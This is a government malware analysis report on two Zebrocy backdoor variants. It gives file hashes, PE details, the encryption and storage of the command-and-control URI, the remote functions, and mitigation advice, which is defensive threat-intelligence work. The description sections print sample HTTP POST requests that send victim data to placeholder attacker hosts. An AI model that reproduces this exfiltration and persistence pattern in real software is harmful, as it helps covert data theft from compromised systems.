# MAR-10310246-1.v1 – ZEBROCY Backdoor

**us-cert.cisa.gov**/ncas/analysis-reports/ar20-303b

## Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

## Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF). The malware variant, known as Zebrocy, has been used by a sophisticated cyber actor. CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

Two Windows executables identified as a new variant of the Zebrocy backdoor were submitted for analysis. The file is designed to allow a remote operator to perform various functions on the compromised system.

Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. For more information on malicious cyber activity, please visit https[:]//www[.]us-cert.gov.
For a downloadable copy of IOCs, see MAR-10310246-1.v1.

Submitted Files (2)

0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1 (smqft_exe)

2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8 (sespmw_exe)

## Findings

### 0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1

Tags

backdoor

Details

| | |
|---|---|
| **Name** | smqft_exe |
| **Size** | 4307968 bytes |
| **Type** | PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows |
| **MD5** | ba9c59783b52b93aa6dfd4cfffc16f2b |
| **SHA1** | ee6753448c3960e8f7ba325a2c00009c31615fd2 |
| **SHA256** | 0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1 |
| **SHA512** | bd9e059a9d8fc7deffd12908c01c7c53fbfa9af95296365aa28080d89a668e9eed9c2770ba952cf0174f464dc93e410c92dfdbbaa7bee9f47 |
| **ssdeep** | 49152:vATdsrWzBmMmRytymPIcGkJGUAErdu5Pp6oUlMXH85jHuXJfZLJC23:gYYBmMdEsx5gDXgHuTLJ |
| **Entropy** | 6.196940 |

Antivirus

| | |
|---|---|
| **BitDefender** | Gen:Variant.Babar.17722 |
| **Emsisoft** | Gen:Variant.Babar.17722 (B) |
| **Lavasoft** | Gen:Variant.Babar.17722 |

### YARA Rules

No matches found.

### ssdeep Matches

No matches found.

### PE Metadata

| | |
|---|---|
| **Compile Date** | 1969-12-31 19:00:00-05:00 |
| **Import Hash** | 20acdf581665d0a5acf497c2fe5e0662 |

### PE Sections

| MD5 | Name | Raw Size | Entropy |
|---|---|---|---|
| b6114d2ef9c71d56d934ad743f66d209 | header | 1024 | 2.184050 |
| 0ead1c8fd485e916e3564c37083fb754 | .text | 1952256 | 6.048645 |
| a5a4f98bad8aefba03b1fd8efa3e8668 | .data | 196096 | 5.841971 |
| 96bfb1a9a7e45816c45b7d7c1bf3c578 | .rdata | 2153984 | 5.690400 |
| 916cd27c0226ce956ed74ddf600a3a94 | .eh_fram | 1024 | 4.244370 |
| d41d8cd98f00b204e9800998ecf8427e | .bss | 0 | 0.000000 |
| 1f825370fd049566e1e933455eb0cd06 | .idata | 2560 | 4.462264 |
| 486c39eb96458f6f5bdb80d71bb0f828 | .CRT | 512 | 0.118370 |
| aa692f6a7441edad64447679b7d321e8 | .tls | 512 | 0.224820 |

### Description

This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as a new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an Exclusive OR (XOR) and hexadecimal encoded Uniform Resource Identifier (URI) or it can run using a plaintext URI.

Displayed below is a sample plaintext argument used by the malware:

```
--Begin arguments--
Domain: malware.exe <Domain>
or
IP: malware.exe <IP address:Port>
--End arguments--
```

When executed, it will encrypt the URI using an Advanced Encryption Standard (AES)-128 Electronic Code Book (ECB) algorithm with a key generated from the victim's hostname. The encrypted data is hexadecimal encoded and stored into "%AppData%\Roaming\Personalization\EUDC\Policies\3030304332393839394630353537343934453244.”

It also collects information about the victim’s system such as username, 6 bytes of current user’s Security Identifiers (SID), and time of infection. The data is encrypted and hexadecimal encoded before being exfiltrated using the predefined URI:

```
--Begin POST requests--

--Begin POST request sample--
POST / HTTP/1.1
Host: www[.]<domain>.com
User-Agent: Go-http-client/1.1
Content-Length: 297
Content-Type: multipart/form-data; boundary=ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228
Accept-Encoding: gzip

--ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228
Content-Disposition: form-data; name="filename"; filename="04760175017f0d0d7f7706067302007f05730102040071344631363346 35"
Content-Type: application/octet-stream

1
--ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228--
--End POST request sample--
```

```
--Begin POST request sample--
POST / HTTP/1.1
Host: <IP address>:<Port>
User-Agent: Go-http-client/1.1
Content-Length: 297
Content-Type: multipart/form-data; boundary=44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108
Accept-Encoding: gzip

--44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108
Content-Disposition: form-data; name="filename"; filename="04760175017f0d0d7f7706067302007f0573010204007134463136334635"
Content-Type: application/octet-stream

1
--44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108--
--End POST request sample--
```

--End POST requests--

The malware is designed to encrypt future communication using an AES encryption algorithm.

The malware allows a remote operator to perform the following functions:

--Begin functions--
File manipulation such as creation, modification, and deletion
Screenshot capabilities
Drive enumeration
Command execution (using cmd.exe)
Create scheduled task for persistence
--End functions--

**2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8**

Details

| | |
|---|---|
| **Name** | sespmw_exe |
| **Size** | 4313600 bytes |
| **Type** | PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows |
| **MD5** | e8596fd7a15ecc86abbbfdea17a9e73a |
| **SHA1** | be07f6a2c9d36a7e9c4d48f21e13e912e6271d83 |
| **SHA256** | 2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8 |
| **SHA512** | 4a2125a26467ea4eb913abe80a59a85f3341531d634766fccabd14eb8ae1a3e7ee77162df7d5fac362272558db5a6e18f84ce193296fcd |
| **ssdeep** | 49152:J8IkRvcuFh9fQgnf/1th+jrR7PNrNdbMFvm6oUlMXycR+Z5drM0us4:UJHFh91fFg/+MX9RgY0u |
| **Entropy** | 6.197768 |

Antivirus

| | |
|---|---|
| **BitDefender** | Gen:Variant.Babar.17722 |
| **Emsisoft** | Gen:Variant.Babar.17722 (B) |
| **Lavasoft** | Gen:Variant.Babar.17722 |

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

| | |
|---|---|
| **Compile Date** | 1970-01-04 14:01:20-05:00 |
| **Import Hash** | 20acdf581665d0a5acf497c2fe5e0662 |

PE Sections

| MD5 | Name | Raw Size | Entropy |
|---|---|---|---|
| 2ebbe6c38d9e8d4da2449cc05f78054a | header | 1024 | 2.198390 |
| a7c0885448e7013e05bf5ff61b673949 | .text | 1954816 | 6.046127 |
| 9bf966747acfa91eea3d6a1ef17cc30f | .data | 196096 | 5.843286 |
| 31182660fce8ae07d0350ebe456b9179 | .rdata | 2157056 | 5.696834 |
| 9eeb1eeb42e99c54c6429f9122285336 | .eh_fram | 1024 | 4.292769 |
| d41d8cd98f00b204e9800998ecf8427e | .bss | 0 | 0.000000 |
| 0bc884e39b3ba72fb113d63988590b5c | .idata | 2560 | 4.424718 |
| 9bbfafc74bc296cd99dc8307ffe120ac | .CRT | 512 | 0.114463 |
| 2b60c482048e4a03fbb82db9c3416db5 | .tls | 512 | 0.224820 |

Description

This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an XOR and hexadecimal encoded URI. The file cannot run using a plaintext URI as compared to the other Zebrocy backdoor binary "ba9c59783b52b93aa6dfd4cfffc16f2b". This file and ba9c59783b52b93aa6dfd4cfffc16f2b have similar functions.

When executed, it will encrypt the URI using AES-128 ECB algorithm with a key generated from the victim's hostname. The encrypted data is hexadecimal encoded and stored into "%AppData%\Roaming\UserData\Multimedia\Policies\3030304332393839394630353537343934453244".

It also collects information about the victim’s system such as username, 6 bytes of current user’s SID, and time of infection. The data is encrypted and hexadecimal encoded before exfiltrated using the predefined URI.

```
--Begin POST request--
POST / HTTP/1.1
Host: www[.]<domain>.com
User-Agent: Go-http-client/1.1
Content-Length: 297
Content-Type: multipart/form-data; boundary=0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db
Accept-Encoding: gzip

--0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db
Content-Disposition: form-data; name="filename"; filename="04760175017f0d0d7f7706067302007f0573010204007134463136334635"
Content-Type: application/octet-stream

1
--0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db--
--End POST request--
```

The malware is designed to encrypt future communication using an AES encryption algorithm.

The malware allows a remote operator to perform the following functions:

--Begin functions--
File manipulation such as creation, modification, and deletion
Screenshot capabilities
Drive enumeration
Command execution (using cmd.exe)
Create schedule a task for persistence manually
More
--End functions--

## Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

## Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

## Document FAQ

**What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

**What is a MAR?** A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

**Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

**Can I submit malware to CISA?** Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.